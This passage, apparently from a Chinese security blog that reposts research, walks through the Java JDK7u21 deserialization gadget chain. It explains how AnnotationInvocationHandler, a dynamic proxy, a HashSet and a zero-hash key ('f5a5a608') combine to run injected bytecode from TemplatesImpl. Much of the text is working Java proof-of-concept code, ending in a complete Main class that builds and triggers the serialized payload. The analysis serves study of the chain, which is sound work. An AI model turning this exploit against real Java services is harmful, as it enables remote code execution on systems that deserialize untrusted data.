)AnnotationInvocationHandler#equalsImpl方法中存在如下代码。
通过this.getMemberMethods()方法获取所有的成员方法,并通过反射执行,继续跟进getMemberMethods方法。
发现所有的成员方法来自于AnnotationInvocationHandler.this.type,那么只要AnnotationInvocationHandler.this.type为TemplatesImpl就可以获取TemplatesImpl的所有成员方法,并通过反射触发链子的执行,继续跟进type。
发现type的类型为Class<? extends Annotation>,似乎无法赋值为TemplatesImpl,但是这只是编译期的限制,Java泛型只在编译期做类型检查,编译完成后泛型信息被擦除,运行时jvm根本不知道<? extends Annotation>的存在,因此我们通过反射获取AnnotationInvocationHandler时并不会存在类型不匹配的问题。再次回到AnnotationInvocationHandler#equalsImpl方法,继续查找引用。
查找AnnotationInvocationHandler#equalsImpl方法的引用,进入AnnotationInvocationHandler#invoke方法。
AnnotationInvocationHandler#invoke方法是对接口InvocationHandler#invoke的实现。
结合两处分析,只需要声明一个以AnnotationInvocationHandler为处理器的代理对象,当执行该代理对象的equals方法时jvm自动执行AnnotationInvocationHandler#invoke方法,因此继续修改测试代码。
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = TemplatesImpl.class.getDeclaredField(\"_name\");
_nameField.setAccessible(true);
_nameField.set(templates, \"test\");
Field _bytecodesField = TemplatesImpl.class.getDeclaredField(\"_bytecodes\");
_bytecodesField.setAccessible(true);
byte[] rceByte = Files.readAllBytes(Paths.get(\"./target/classes/org/example/Rce.class\"));
byte[][] rceBytes = {rceByte};
_bytecodesField.set(templates, rceBytes);
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field _tfactoryField = TemplatesImpl.class.getDeclaredField(\"_tfactory\");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates, transformerFactory);
// templates.newTransformer();
// templates.getOutputProperties();
HashMap hashMap = new HashMap();
Constructor constructor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructor(
Class.class,
Map.class
);
constructor.setAccessible(true);
InvocationHandler invokeHandler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
invokeHandler
);
proxy.equals(templates);
上述代码在创建动态代理的过程中为什么要使用Templates这个接口类型了?在代码proxy.equals(templates);打上断点调试。
你发现动态代理的类型必须与TemplatesImpl类型匹配,否则将无法通过!this.type.isInstance(var1)判断,因此需要转换为该类型。接下来的目标就是寻找一个能够触发以AnnotationInvocationHandler为处理器的代理对象proxy与TemplatesImpl实例templates的equals方法。触发方式有许多,选择比较多的是HashSet。
选择的原因是一个集合不允许存在重复的元素,那么当你在HashSet这个集合中已经插入TemplatesImpl实例时,当再次插入proxy时就会触发两者的equals方法。同时HashSet反序列化时又刚好需要重建整个集合,这时需要从序列化的数据中依次读取所有的内容,一个个重新put进入新的集合中,所以我们可以利用HashSet的反序列化过程触发元素之间的equals方法,编写如下的测试代码。
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = TemplatesImpl.class.getDeclaredField(\"_name\");
_nameField.setAccessible(true);
_nameField.set(templates, \"test\");
Field _bytecodesField = TemplatesImpl.class.getDeclaredField(\"_bytecodes\");
_bytecodesField.setAccessible(true);
byte[] rceByte = Files.readAllBytes(Paths.get(\"./target/classes/org/example/Rce.class\"));
byte[][] rceBytes = {rceByte};
_bytecodesField.set(templates, rceBytes);
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field _tfactoryField = TemplatesImpl.class.getDeclaredField(\"_tfactory\");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates, transformerFactory);
// templates.newTransformer();
// templates.getOutputProperties();
HashMap hashMap = new HashMap();
Constructor constructor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructor(
Class.class,
Map.class
);
constructor.setAccessible(true);
InvocationHandler invokeHandler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
invokeHandler
);
// proxy.equals(templates);
HashSet hashSet = new HashSet();
hashSet.add(proxy);
hashSet.add(templates);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(hashSet);
oos.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
ois.close();
运行发现并未触发计算器,断点开始调试。
通过分析代码发现,如果需要在反序列化的过程中触发equals方法,需要两个key的hash值是相等的,即proxy.hashCode()==templatesImpl.hashCode(),同时key不相等,那么自然想到又需要进行hash碰撞了。断点调试来分析如何实现hash碰撞。
由于添加了templates和proxy两个实例,那么这里重建map时就会循环两次插入,分别来分析两次的hash值。
这是不同的元素都会经过的公共的hash处理逻辑,关键在于对于不同的实例会调用不同的h ^= k.hashCode()处理逻辑,这次我们是proxy,继续调试进入。
进入hashCodeImpl处理逻辑,这里由于我们在声明proxy时未向hashMap添加任何内容,因此这个for循环不会进入,整体返回0。
继续调试第二个实例templates的计算过程。
templates没有重写hashCode(),使用的是Object的native实现,返回值基于内存地址,是一个运行时才确定的值,我们无法预知,因此我们无法通过控制templates的hash值来实现碰撞,只能考虑从proxy下手。再次回到proxy的k.hashCode()计算逻辑。
我们发现如果为proxy的hashMap添加了键值对,保证键的hash值为0,值直接赋值为templates那不是就实现了proxy的hash值就是templates的hash值吗,同时查看memberValueHashCode函数的算法。
只要var0不是数组,那么显然就是直接调用的实例对象的hashCode函数,即当值为templates时,此处的hash值计算逻辑为templates.hashCode(),显然与templates的计算逻辑一致。因此现在就只需要找一个键的hash值为0即可,这里就用人家现成的了,修改后的测试代码如下。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.InvocationHandler;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Main {
public static void main(String[] args) {
try {
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = TemplatesImpl.class.getDeclaredField(\"_name\");
_nameField.setAccessible(true);
_nameField.set(templates, \"test\");
Field _bytecodesField = TemplatesImpl.class.getDeclaredField(\"_bytecodes\");
_bytecodesField.setAccessible(true);
byte[] rceByte = Files.readAllBytes(Paths.get(\"./target/classes/org/example/Rce.class\"));
byte[][] rceBytes = {rceByte};
_bytecodesField.set(templates, rceBytes);
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field _tfactoryField = TemplatesImpl.class.getDeclaredField(\"_tfactory\");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates, transformerFactory);
// templates.newTransformer();
// templates.getOutputProperties();
HashMap hashMap = new HashMap();
hashMap.put(\"f5a5a608\", templates);
Constructor constructor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructor(
Class.class,
Map.class
);
constructor.setAccessible(true);
InvocationHandler invokeHandler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
invokeHandler
);
// proxy.equals(templates);
HashSet hashSet = new HashSet();
hashSet.add(proxy);
hashSet.add(templates);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(hashSet);
oos.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。





![[极客大挑战2019]EasySQL"](/images/random/titlepic/13.jpg)


评论